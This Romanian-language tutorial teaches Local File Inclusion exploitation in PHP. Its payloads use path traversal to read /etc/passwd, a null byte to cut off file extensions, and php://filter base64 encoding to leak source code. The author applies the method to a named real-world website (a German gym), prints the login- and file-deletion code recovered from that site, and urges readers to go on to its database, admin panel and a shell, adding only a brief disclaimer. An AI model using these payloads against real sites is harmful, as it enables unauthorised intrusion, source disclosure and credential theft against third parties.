In acest tutorial veti invata metoda php://filter pentru a exploata un LFI.

Ce este LFI:

Lfi sau Local file inclusion presupune folosirea functiei inlclude din php intr-un mod necorespunzator,astfel prin LFI putem include(nu prelua pagina sursa) si executa codul php de pe orice pagina de pe server.

Cum gasim un LFI:

LFI apare deobicei sub forma aceasta site.com/index.php?page=ceva.php daca vom introduce dupa site.com/index.php?page=ceva.php; vom obtine o eroare de genul:

lfi2.png

http://s24.postimg.org/u93f51bth/lfi2.png

Eroarea spune ca php nu poate include un fisier care nu exista.Folosindune de ../(un director inapoi) putem naviga prin foldere si include orice fisier de pe server site.com/index.php?page=../etc/passwd

Folosirea caracterului null byte:

Se foloseste atunci cand scriptul php pune dupa parametrul preluat, o extesie (de obicei .php .hrml .txt) .Caracterul null byte %00 "anuleaza" extesia care se afla dupa parametru si se foloseste astfel site.com/index.php?page=../etc/passwd%00

Acum ca am facut o scurta introductie aspra termenului LFI am sa prezint in continuare metoda php://filter.

Sa presupunem ca aveti un LFI intr-un site puteti scoate /etc/passwd dar nu puteti gasi nici un log file ,iar metoda php://input nu functioneaza.Mai ramane inca o metoda de a exploata un LFI metoda php://filter.

Cu aceasta metoda putem transforma un LFI intr-un Souce code discloure adica putem citi paginile sursa a fisierelor de pe server.

Avem urmatorul LFI site.com/index.php?page=../etc/passwd

Sa presupunem ca nu avem acces la loguri si nu putem transforma LFI in Remote code execution,vom incerca sa testam metoda php://filter .

Metoda php://filter se foloseste astfel:site.com/index.php?page=php://filter/convert.base64-encode/resource=FISIER

Unde FISIER este numele fisierul care vreti sa il cititi.Ce face instructiunea php://filter/convert.base64-encode/resource=FISIER?Pai ii spune functiei include sa preia continutul pagini FISIERsa il encodeze in base64 si sa il afiseze.Aceasta intructiune functionaza doar pe scripturile care folosesc ca metoda de intrare functia include si doar cele care nu au altceva in fata dupa parametrul injectie( ca de exemplu include('pages'.$_REQUEST['page']).

Rezultatul v-a fi urmatorul eu am citit chiar fisierul index.php:

lfi3.png

http://s24.postimg.org/hx9pj12qd/lfi3.png

In pagina ni se v-a furniza continutul pagini sursa encodat in base64 si cu ajutorul unui decodor putem obtine continutul pagini sursa.

Aplicabilitate:

Ce se poate face cu aceasta metoda:-/ Pai putem lua acces la datele de logare de la panouri de administrare sau de la baze de date.

Avem urmatorul site:Sportstudio Bodyworld Schkeuditz bei Leipzig

lfi4.png

http://s23.postimg.org/ta0365agb/lfi4.png

Vom testa metoda php://filter si vom citi pagina sursa a index.php: Sportstudio Bodyworld Schkeuditz bei Leipzig

lfi5.png

http://s21.postimg.org/x2fgrchg7/lfi5.png

Ce am obtinut este:


 <?php
  include("user.php");
  $PHPSESSID = $_REQUEST["PHPSESSID"];
  $page = $_REQUEST["page"]; 
  $benutzername = $_REQUEST["benutzername"];
  $passwort = $_REQUEST["passwort"];
  $login = $_REQUEST["login"];
  $logout = $_REQUEST["logout"];
  $senden = $_REQUEST["senden"];
  $datei = $_REQUEST["datei"];
  
  If ($benutzername && $passwort)
    If ($benutzername === $user && $passwort === $pass) {
      session_start();
      header("Location: index.php?page=login.php&login=ok");
    }
    else {
      header("Location: index.php?page=login.php&login=falsch");
    }
  else {
    If ($PHPSESSID) {
      session_start($PHPSESSID);
    }
  }
  If ($senden) {
    If ($senden=="Ja") {
      $bild = $_REQUEST["bild"];
      If ($bild) {
        @unlink("./news_pics/$bild");
      }
      @unlink($datei);
      header("Location: index.php?page=news_loeschen.php&antw=$senden&datei=$datei");
    }
    elseif ($senden=="Nein") {
      header("Location: index.php?page=news_loeschen.php&antw=$senden&datei=$datei");
    }
  }

De aici puteti obtine acces la baza de date ,sa luam acces la panou de adminitrare si shell:D.

Aceste exemple au fost date doar pentru a demonstra impactul vurnarabilitati.

Cam atat am avut de spus sper sa va fi fost de folos tutorialul.

O zi buna:D.
